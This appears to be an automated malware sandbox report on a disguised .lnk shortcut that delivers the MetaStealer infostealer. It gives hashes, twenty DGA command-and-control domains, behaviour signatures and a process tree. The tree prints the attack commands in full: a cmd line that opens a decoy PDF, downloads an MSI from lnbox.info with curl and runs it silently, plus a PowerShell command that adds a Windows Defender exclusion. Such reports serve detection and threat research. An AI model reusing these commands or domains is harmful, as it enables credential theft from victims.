Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    146s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2025, 10:38

General

  • Target

    Document-0191536.pdf.lnk.download.lnk

  • Size

    3KB

  • MD5

    55546c788e0e0bfc56207ee32f6c1eab

  • SHA1

    8b06c2ab87a75bdaa4962f8eeac7c094242b1e69

  • SHA256

    02c22ae33c4f792f3b30e5aa8d465bd51e408079aa6f6ace1e0c56cd03a9128e

  • SHA512

    0f51136e562b8f774ca89824c3199d97008942f16f2d2df5e4335be8467a36c7c600999d9bf5fb9c163fc2ce630d2519d54e17b1b06a8ff3fbdbf4242e21322a

Malware Config

Extracted

Family

metastealer

C2

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes
  • dga_seed

    21845

  • domain_length

    16

  • num_dga_domains

    10000

  • port

    443

Signatures

  • Meta Stealer

    Meta Stealer steals passwords stored in browsers, written in C++.

  • MetaStealer payload 1 IoCs
  • Metastealer family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 9 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Document-0191536.pdf.lnk.download.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start msedge https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi & C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi /qn | Taskkill /f /im cmd.exe
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf
        3⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:3276
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0x11c,0x12c,0x7ff8600346f8,0x7ff860034708,0x7ff860034718
          4⤵
            PID:1928
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
            4⤵
              PID:3216
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3960
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:8
              4⤵
                PID:2136
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
                4⤵
                  PID:1496
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
                  4⤵
                    PID:1464
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:1
                    4⤵
                      PID:888
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5124 /prefetch:6
                      4⤵
                        PID:4644
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 /prefetch:8
                        4⤵
                          PID:1972
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 /prefetch:8
                          4⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4428
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:1
                          4⤵
                            PID:4448
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
                            4⤵
                              PID:704
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
                              4⤵
                                PID:1456
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5164 /prefetch:1
                                4⤵
                                  PID:4544
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2652 /prefetch:2
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4780
                              • C:\Windows\System32\curl.exe
                                curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi
                                3⤵
                                  PID:4824
                                • C:\Windows\System32\msiexec.exe
                                  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi" /qn
                                  3⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2160
                                • C:\Windows\System32\taskkill.exe
                                  Taskkill /f /im cmd.exe
                                  3⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3148
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:1456
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:2440
                                • C:\Windows\system32\msiexec.exe
                                  C:\Windows\system32\msiexec.exe /V
                                  1⤵
                                  • Enumerates connected drives
                                  • Drops file in Windows directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1948
                                  • C:\Windows\syswow64\MsiExec.exe
                                    C:\Windows\syswow64\MsiExec.exe -Embedding 42685A8DEDB4E0D7A4DB84A4F1135F52
                                    2⤵
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    PID:1568
                                    • C:\Windows\SysWOW64\ICACLS.EXE
                                      "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
                                      3⤵
                                      • Modifies file permissions
                                      • System Location Discovery: System Language Discovery
                                      PID:3516
                                    • C:\Windows\SysWOW64\EXPAND.EXE
                                      "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
                                      3⤵
                                      • Drops file in Windows directory
                                      • System Location Discovery: System Language Discovery
                                      PID:5044
                                    • C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\files\setup.exe
                                      "C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\files\setup.exe" /VERYSILENT /VERYSILENT
                                      3⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3016
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1168
                                      • C:\Windows\SysWOW64\systeminfo.exe
                                        systeminfo
                                        4⤵
                                        • System Location Discovery: System Language Discovery
                                        • Gathers system information
                                        PID:2364

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  bc29044ff79dd25458f32c381dc676af

                                  SHA1

                                  f4657c0bee9b865607ec3686b8d4f5d4c2c61cd7

                                  SHA256

                                  efe711204437661603d6e59765aba1654678f2093075c1eb2340dc5e80a1140f

                                  SHA512

                                  3d484f755d88c0485195b247230edb79c07cc0941dedbf2f34738ae4f80ba90595f5094c449b213c0c871ade6aff0a14d4acfe843186e2421ccbad221d34bf54

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  709e5bc1c62a5aa20abcf92d1a3ae51c

                                  SHA1

                                  71c8b6688cd83f8ba088d3d44d851c19ee9ccff6

                                  SHA256

                                  aa718e97104d2a4c68a9dad4aae806a22060702177f836403094f7ca7f0f8d4e

                                  SHA512

                                  b9fc809fbb95b29336e5102382295d71235b0e3a54828b40380958a7feaf27c6407461765680e1f61d88e2692e912f8ec677a66ff965854bea6afae69d99cf24

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                  Filesize

                                  181B

                                  MD5

                                  1cd1076ea49dca53e30d29edcb76ca12

                                  SHA1

                                  62e13a81796399aeb854bf13bfbc1d3284ec74b4

                                  SHA256

                                  cd7b129236a194ac9c78db5fa3afd8804d8a0eff7e2908854dc921e27ed8eedf

                                  SHA512

                                  e14a785692afdab6703dd4df35060d69ab5aa1fc513070c75087572884cd80eaf2456bb9234492bc9e6a505f6681fd7985d76625765f02a04381413105f7822a

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  6KB

                                  MD5

                                  6e537b2996c43b741233a7faf264914d

                                  SHA1

                                  9d835b432f43b47c95773224b3772efe5e80b9fe

                                  SHA256

                                  b901d93e47c05b1364da88d95ce9c6aef07c03437fe691ae0c714375a46c4168

                                  SHA512

                                  6b3c0e93ce9919597b8bcb6c93a6e338d60e1d283d690ec1e3c86ed7faca12de557a1e8801dfda45a048d4d211fbac42e5e83ece4c79033c8c3cf331cb70caad

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  6KB

                                  MD5

                                  dee5ffe69fa1cc65840e40993bad1057

                                  SHA1

                                  e0a91d663231795c91d86ce5facfecb4c6693504

                                  SHA256

                                  00d3cb64ca05c828a67c285f53a0625e17e975a7b20e94eb44b5578c98dd47af

                                  SHA512

                                  ae6d3f7829397d7048f53ed43a61c7c34e2c4934d57f6348ea61ad564735a3a240a5313a56e4bb05920b9bb11fbbae8e63ce19cd6c756cec24ac37017072662f

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  46295cac801e5d4857d09837238a6394

                                  SHA1

                                  44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                  SHA256

                                  0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                  SHA512

                                  8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                  Filesize

                                  16B

                                  MD5

                                  206702161f94c5cd39fadd03f4014d98

                                  SHA1

                                  bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                  SHA256

                                  1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                  SHA512

                                  0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                  Filesize

                                  11KB

                                  MD5

                                  d4d37e1309c50538d075436571b3ab35

                                  SHA1

                                  c57e86e4ada0ee74c1d72472889b63b4bcc9c367

                                  SHA256

                                  af25fc13f2a4f02a100b5cbb4fd16bdcdc6b69d3150a945eed35fd72ee62be25

                                  SHA512

                                  610df06e7d0e20734a4aa07b01d9bfe500eb065e33c5847b31f16d34c4f2a6ae98e9ad2c11a64de179cf725915b1ad0b0e3145c459d1b7e69f396f32c36d10e7

                                • C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi

                                  Filesize

                                  2.1MB

                                  MD5

                                  c8c7e377611b06bf98d17c846945df3c

                                  SHA1

                                  92294a125dd1e8c3f69e5bfcf454f980f15ddb9f

                                  SHA256

                                  f8edc2c21a5e5ff3c91eb85ce8f706c1cc655e7c940e99d046e400932f8d6183

                                  SHA512

                                  97f19b47957d19eac2585945d32807df717f49012fb8cb39246212292258600971e510bf44e9fee29e55d84545056ac07b6b6a43ace2b8ad4bb7f1769eb3a7ca

                                • C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\files.cab

                                  Filesize

                                  1.8MB

                                  MD5

                                  c938fe0076583b3216934adf74b983e9

                                  SHA1

                                  efcea2278fe2a4ab891c604db4cba3e919fd31c3

                                  SHA256

                                  27c95e758b3c590c16e36e7ddf57e9c6c5e66d52ad7bc7b710f038b3777a18bf

                                  SHA512

                                  68de0882ea8e022218e9a21d375f0c4e28cd7ca3a54f7f8162fad917e2e505c6ffae0f4a1b029b5bf6ce68ea76f78ebbd5f33abcf93893a43912cb3c9ff479f4

                                • C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\msiwrapper.ini

                                  Filesize

                                  1KB

                                  MD5

                                  f1707230966b0f1d8002bd31805b95d8

                                  SHA1

                                  aaca5d1abe674df00650951b5f4cc9377a21c11a

                                  SHA256

                                  dc9789a8898a4c66536c34a71eaef42f2199ba7f3c0d8f51595b892b8e5ff17b

                                  SHA512

                                  09cbafaf65bb1bcbc8a1c5c4d035289785a7340fde1cba8102a00212149d12d976a918ca81d62d736a6c208e7549f15ea10f2c0b48249de991f9eb2f14873e0e

                                • C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\msiwrapper.ini

                                  Filesize

                                  1KB

                                  MD5

                                  91dda4890a6c808fbbfbf9be12b5358b

                                  SHA1

                                  274948bafd60e4c01510b6330467c6a88ee9ba20

                                  SHA256

                                  68f1e9027ddbaf8e6a5f99ace6e66ccf98e1918672a95049f863775b6e514a8f

                                  SHA512

                                  d0d7a6e709015848e8cdd5234ed67302b1175031075f710aa7ea174ade3c59a73ae0596ac1bf90d64289db5d92333ac33fa8e02631fcb6e86d666e46d896695b

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxdmtrsj.irh.ps1

                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                • C:\Windows\Installer\MSIC9C8.tmp

                                  Filesize

                                  208KB

                                  MD5

                                  0c8921bbcc37c6efd34faf44cf3b0cb5

                                  SHA1

                                  dcfa71246157edcd09eecaf9d4c5e360b24b3e49

                                  SHA256

                                  fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

                                  SHA512

                                  ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

                                • memory/1168-192-0x0000000005820000-0x0000000005886000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/1168-217-0x00000000070E0000-0x00000000070FE000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/1168-191-0x0000000005050000-0x0000000005072000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/1168-188-0x00000000025D0000-0x0000000002606000-memory.dmp

                                  Filesize

                                  216KB

                                • memory/1168-193-0x0000000005900000-0x0000000005966000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/1168-227-0x00000000074B0000-0x00000000074B8000-memory.dmp

                                  Filesize

                                  32KB

                                • memory/1168-203-0x0000000005970000-0x0000000005CC4000-memory.dmp

                                  Filesize

                                  3.3MB

                                • memory/1168-205-0x0000000005F20000-0x0000000005F6C000-memory.dmp

                                  Filesize

                                  304KB

                                • memory/1168-204-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/1168-206-0x00000000064E0000-0x0000000006512000-memory.dmp

                                  Filesize

                                  200KB

                                • memory/1168-207-0x000000006EDC0000-0x000000006EE0C000-memory.dmp

                                  Filesize

                                  304KB

                                • memory/1168-189-0x0000000005100000-0x0000000005728000-memory.dmp

                                  Filesize

                                  6.2MB

                                • memory/1168-218-0x0000000007100000-0x00000000071A3000-memory.dmp

                                  Filesize

                                  652KB

                                • memory/1168-219-0x0000000007890000-0x0000000007F0A000-memory.dmp

                                  Filesize

                                  6.5MB

                                • memory/1168-220-0x0000000007230000-0x000000000724A000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/1168-221-0x0000000007290000-0x000000000729A000-memory.dmp

                                  Filesize

                                  40KB

                                • memory/1168-222-0x00000000074C0000-0x0000000007556000-memory.dmp

                                  Filesize

                                  600KB

                                • memory/1168-223-0x0000000007430000-0x0000000007441000-memory.dmp

                                  Filesize

                                  68KB

                                • memory/1168-224-0x0000000007470000-0x000000000747E000-memory.dmp

                                  Filesize

                                  56KB

                                • memory/1168-225-0x0000000007480000-0x0000000007494000-memory.dmp

                                  Filesize

                                  80KB

                                • memory/1168-226-0x0000000007560000-0x000000000757A000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/3016-183-0x0000000010000000-0x0000000010738000-memory.dmp

                                  Filesize

                                  7.2MB